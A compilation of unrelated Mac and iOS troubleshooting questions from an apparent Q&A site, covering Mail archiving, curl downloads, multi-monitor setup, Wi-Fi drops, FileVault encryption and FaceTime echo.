texts: How do I use Mac Mail as a searchable archive of past emails and delete emails on Gmail?

texts:
Can I use Mac Mail.app as a searchable archive of emails stored locally? How can I set this up?
I use Gmail as my primary email and interface. I'm out of space. I have mac Mail.app linked with Gmail, so all my messages are there but I don't use that as an interface. I want to archive the messages in Mac Mail as one or multiple year files in a way that they remain searchable and then remove them from Google to free up space, without removing them from my Mac Mail archives. In the event I needed to search a message from say 2010, I'd like to be able to open up Mac Mail and search there if it is no longer on the Gmail server.
How would you set this up please? Sincere thanks for any ideas.


texts: How to remove folder/account from list of messages (OS X 10.1 Mail)

texts: I just upgraded to Yosemite and I noticed in Mail that the folder/account are listed in the Inbox section right after the subject. I don't remember seeing this before. Is there a way (terminal flag, perhaps) to turn this off so the Subject of the message isn't truncated?


texts: Use curl to download images from website using wildcard?

texts:
Is there a way to use curl to download non-sequential images with a wildcard? I want to download all the panoramas I upload to my account at 360 Panorama to a local folder so I don't have to do this manually each time.

The images files follow the pattern of: http://occipital.com/images/viewer/XYZ_flat.jpg with the XYZ being random. It also seems from that URL that I need to be logged in or seen as logged in to the site.


texts:
I'm looking for an iPad app that can record a narrated audio track and edit it include still images to go with the spoken audio. The end product I'm looking for is a movie with a spoken audio track with still images placed at various points in the spoken track.

Can anyone recommend an iOS app that can do this?


texts: A file exists in guest Windows XP (under Fusion), can I open the file in an OSX program?

texts:
So the text editor on Windows is crap.  I realize I could find a fancier text editor that works within Windows but I'm happy with TextMate on my Mac and I'd rather not have two "fancy" text editors (one for the windows guest and one for the mach host).

Is there a way I can right-click a windows (again, I'm running Windows XP as a guest operation system under Fusion) txt file and have it open in TextMate on my Mac?

I woudn't mind if I had to do this manually each time but a permanent association would be even cooler...

In case it helps the guest is Windows XP (latest SP) and the host is OSX 10.7.3 with the latest Fusion.  Also, I've got several directories mapped from the Mac to the Windows installation (as Z: drive or something) in case this helps and can add more shares.

PS - I don't expect anything crazy like that TextMate would show up "within" Windows XP.  I'm happy have TextMate launch outside of the guest OS window with the file in question.  More bonus would be if I could edit the file and save it (the save going to the Windows guest).


texts: Apple MFI: Is there any fee for entering the program?

texts:
I know that Apple charges fees after accepting the device (a fee for every device sold).
Are there any costs associated with enrolling to the Apple MFI program?


texts: Dual display with MacBook Pro (13-inch, Mid 2012)

texts:
I have a MacBook Pro (13-inch, Mid 2012) and would like to set up two 24" Acer monitors so I can have an easier working life. The monitors support CDMI, DVI and VGA, I am new to MacBooks, so I'm not sure where to go or what to do, anything you can advise will be wonderful.

Thanks in advance :)


texts: Preview cannot display two different eps files with the same name simultaneously

texts:
I am running OS X 10.9.5 on a 2010 Macbook Pro.  I have two eps files that I want to use Preview to view (Preview really converts the eps files to pdfs).  One file is ~/Research/images/test.eps and the other file is ~/Desktop/test.eps.  The first file displays sin(x), the second displays cos(x).

If I open the first file, it shows the correct plot (i.e. sin(x)).  Now if I open the second file (keeping the first open), the second plot correctly displays cos(x). However, the first instance of test.pdf automatically changes from sin(x) to cos(x). When I was using OS X 10.6.8, this never happened.

This makes it very difficult to compare plots (with the same name).  Is there a setting I can change or a way around this?


texts: Copy entire user profile to new device with different username

texts:
My work MBP has been set up as a standalone device, but now needs to join the corporate network.

Is there a way to copy my entire user profile (apps, config, terminal settings etc) to a new device (the same device, having been wiped) with a different username? (e.g. domain\dunc)

The new user account will already be created on the "new" device, and I don't have the ability to change this.


texts: Wi-Fi says connected, but my internet does not work until I turn it on and off

texts:
I just got my first macbook, an used early 2014 14-inch macbook air, with Mac OS Mojave. And everything works fine but when im connected to the wifi, after like about 20-30 minutes it just stops working. and it always starts working back up when I turn wifi on and off, or when I disconnect off the network, and connect back up.
It says I am still connected to the network, but there is no internet.
I already tried doing a wireless diagnosis and tried contacting apple support multiple times.

UPDATE:

Unused argument: –
Too many arguments to 'show' verb
usage: log show [options] <archive>
   or: log show [options]

description:
    Show the contents of the system log datastore or a log archive.
    Output contains only default level messages unless --info and/or
    --debug are specified.

options:
    --[no-]backtrace              Control whether backtraces are shown
    --[no-]debug                  Control whether "Debug" events are shown
    --[no-]info                   Control whether "Info" events are shown
    --[no-]loss                   Control whether message loss events are shown
    --[no-]signpost               Control whether signposts are shown
    --color <mode>                Control color output (valid: auto, always, none)
    --end <date>                  Display events up to the given end date
    --last <num>[m|h|d]           Display recent events up to the given limit
    --predicate <predicate>       Filter events using the given predicate
    --source                      Annotate output with source file and line-number
    --start <date>                Display events from the given start date
    --style <style>               Output format (valid: syslog, json, compact)
    --timezone local | <tz>       Use the given timezone when displaying event timestamps
    --mach-continuous-time        Print mach continuous time timestamps rather than walltime

valid time formats:
    'Y-M-D H:m:s+zzzz', 'Y-M-D H:m:s', 'Y-M-D', '@unixtime'

predicate usage:
    Filter predicates follow the NSPredicate format described at:
    https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/Predicates/AdditionalChapters/Introduction.html

    For predicate field/type details, see `log help predicates`.

This is what showed up after the last step I was told.

Please help me out if somebody knows what is going on


texts: Sips: resize image's smallest side, not largest side

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The command sips -z 2000 image.jpg will resize the biggest side of an image to 2000 if it is greater than 2000, while preserving the original aspect ratio.
Is there a similar command that will resize the smallest side of an image to 2000 if it is greater than 2000, while preserving the original aspect ratio?
The rationale behind this request is that if I try to downsize the greatest side of an image to 2000, it will greatly affect the resolution of panoramas and other long/wide images.


texts: Has anybody successfully been able to run Microsoft SQL Server using Wine or another application like it (possibly Crossover) on macOS Sierra?


texts: Bluetooth Serial Port Profile (SPP) support in OS X Yosemite

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I've got a device that connects to a computer using Bluetooth's SPP (Serial Port Profile) which is widely supported by almost everything however is now considered legacy.

I'm struggling to get my device to work in Yosemite and it doesn't seem to support it?


texts: Can I allow the cursor to reach between screens?

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I have a mac laptop. At work, I have 2 extra monitors I'm using. One is set above the laptop, the other is to the right side. See image below for my configuration of monitors.

My issue is that I can't move my cursor from top monitor's top right corner over to the right monitor in a straight line. You can see there is obviously a gap. I am forced to go around that corner where they intersect. Is there a way to allow my cursor to move in the "whitespace" between the monitors, or to configure the area that the cursor can move? Ideally, I would like to be able to use a square area that is as tall as my monitors and as wide as my monitors so that I can move between them without getting caught on edges.

I am on OSX El Capitan 10.11.6


texts: "normalizerd quit unexpectedly" constantly happening(!!)

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I've been having this issue with my old and new MBP. It must be linked to an application but I can't for the life of me figure out what. I'd initially thought Adobe CC but appears not.

I can't make a definite link to what crashed the process but it appears to be something relating to opening new windows or apps. It'll crash simply by opening a new Finder window, although not always. It's not consistent at all but very frequent.

I've spent hours speaking with Apple support but had no joy.

Here's a diagnostics report from recent crash. If anyone can shed any light on this I'd be forever in your debt.

I've had to post the report externally due to the character limit here:

https://pastebin.com/yH6zgTdc


texts: How to take a full page screenshot in Mac OS Safari?

texts: I'm looking for a Safari Extension that can take full page screenshots. I am aware there are various extensions, but haven't found any that would take full page images.


texts:
I have two MacBook a1181’s, a black one and a white one. I bought the first one (the black one) a while ago and haven’t had any problems with it. I installed Devuan on it and everything was good.

The second one (the white MacBook) arrived today and unfortunately I haven’t been able to get it to boot into anything. When I turn it on I get a flashing folder icon with a question mark. I read online that it’s either a bad hard drive or RAM so I tried swapping them both out with the parts from my black MacBook with no luck.

Then, after putting the original hard drive back something changed and the hard drive showed up but with the name Windows and when it would boot it would say no operating system.

I figured that if I got this drive to be identified I could install Linux on it from the black MacBook and then just put it in the white one and it would boot. I installed Linux and put the drive in and now it just sits at a white screen with a mouse cursor.

How can I proceed to to get this MacBook to boot into any OS?


texts: altering the default number of songs in upnext (itunes11, osx)?

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Currently I only see about 12 songs in upnext, not so great when I want to create a 3 hour playlist, but I can't find a setting anywhere to increase this.

Does such a thing exist?


texts: Whole disk encryption. How can the kernel be encrypted?

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A standard pitfall of disk encryption on Linux is needing /boot unencrypted. Specifically the bootloader and initrd. Encrypting the entire disk means putting those somewhere else, e.g. on a USB stick.

edit: I have now learned that grub can now decrypt a filesystem containing the kernel at boot so it's only the bootloader that needs to be unencrypted under Linux

I am under the impression that it's "known" that FileVault implements whole disk encryption. I certainly believed this was the case. This is slightly difficult to demonstrate without a bunch of links to external sites. A couple of internal ones:

brute-force-on-whole-disk-encryption and
whole-disk-encryption-with-a-windows-only-bootcamp

And an existing question that answers essentially this question
is-file-vault-2-whole-disk-encryption-or-whole-partition-encryption

It seems fairly clear that file vault works at partition granularity and that Apple uses a separate boot partition. I can't find any evidence to suggest that file vault can be used on the boot partition.

I don't understand how it can boot so far as to offer a login prompt if the whole disk is encrypted. What am I missing?

For reference, the system I'm interested in is using apfs rather than cs and does not have a T2 chip.


texts: iPhone boot loop after installing biteSMS

texts: Currently on iOS 9.1, iPhone 6s Installed biteSMS (8.0.3 I think) via Cydia to see if it will work and after respring, I got stuck in boot loop screen. Restarted the phone, no luck, still stuck. Cannot restore on Itunes to 9.1 b/c those are not longer signed as of December. The error is b/c of biteSMS and I'm wondering what I can do. Tried editing hosts file, no luck. If all else fails, I'm guessing I'll have to restore and update to 9.3.1 :( Any help appreciated.


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Here is my setup:

User A: iPad Air, iOS8
User B: (1) iPad Air 2, iOS9, (2) MBP 15", El Capitan

FaceTime between User A <-> User B (1) works just fine. When FaceTime video call is initiated between User A <-> User B (2) (same network, same time, can be just after first call is finished) this is when problem starts.

User A all of a sudden can hear his own voice echoing in his speakers and garbled a lot to the point where it's almost impossible to have two way conversation. User A can hear voice from User B just fine in both cases.

Any ideas what's going on here? I have a suspicion that it started with El Capitan upgrade but I can be wrong. The craziest part is how changes in User B environment can affect User A side of communication.